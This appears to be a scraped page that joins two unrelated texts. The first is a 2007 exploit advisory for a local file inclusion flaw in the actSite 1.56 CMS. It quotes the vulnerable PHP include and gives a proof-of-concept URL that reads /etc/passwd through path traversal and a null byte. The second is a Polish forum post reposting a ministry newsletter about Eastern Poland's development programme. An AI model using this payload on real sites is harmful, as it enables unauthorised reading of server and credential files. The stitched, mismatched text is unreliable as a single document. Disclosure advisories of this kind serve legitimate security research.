Luka w: actSite 1.56 (news.php) Local File Inclusion Vulner

:: #'#/

(-.-)

-----------------oOO---(_)---OOo-----------------

| actSite v1.56 (news.php) Local File Inclusion |

| coded by DNX |

-------------------------------------------------

[!] Discovered: DNX

[!] Vendor: http://www.actsite.de

[!] Detected: 02.09.2007

[!] Reported: 02.09.2007

[!] Remote: yes



[!] Background: actSite is a content management system based on PHP and MySQL



[!] Bug: in phpinc/news.php line 101



require PHP_INCLUDE_PATH."/inc/news/news_$_POST[do].php";



[!] PoC:

- http://[site]/[path]/phpinc/news.php?do=/../../../../../../../etc/passwd%00



[!] Description:

- So why we can inject code in a post variable per url? Let's do some research...
...

Polska Wschodnia ? Lubię to :) . News z dedykacją dla...

Poniższą wiadomość kopiuję z newslettera Ministerstwa Rozwoju Regionalnego. Proponuję szanownym Forumowiczom zabawę-zgadywankę. Jak myślicie, komu z naszego grona powinniśmy zadedykować tegoż newsa? ;). Autorzy prawidłowych odpowiedzi w nagrodę otrzymają uśmiech od bohatera :D.

::
"Polska Wschodnia - lubię to!"
Kategoria: Wiadomości , Działania promocyjne | Dotyczy: Rozwój Polski Wschodniej , Rozwój Polski Wschodniej - Lubelskie , Rozwój Polski Wschodniej - Podkarpackie , Rozwój Polski Wschodniej - Podlaskie , Rozwój Polski Wschodniej - Świętokrzyskie , Rozwój Polski Wschodniej - Warmińsko-mazurskie

15 września 2011 r. "Gazeta Wyborcza" opublikowała 20-stronicowy dodatek o Polsce Wschodniej. Wyłania się z niego obraz makroregionu nowoczesnego, ale nie lekceważącego turystyki, o silnych ośrodkach miejskich. Program Rozwój Polski Wschodniej ma istotny wpływ na jego zmiany.

W dodatku można znaleźć między innymi artykuły o podkarpackim stowarzyszeniu firm Dolina Lotnicza i o Krośnieńskich Hutach Szkła; o kieleckim sporcie i ...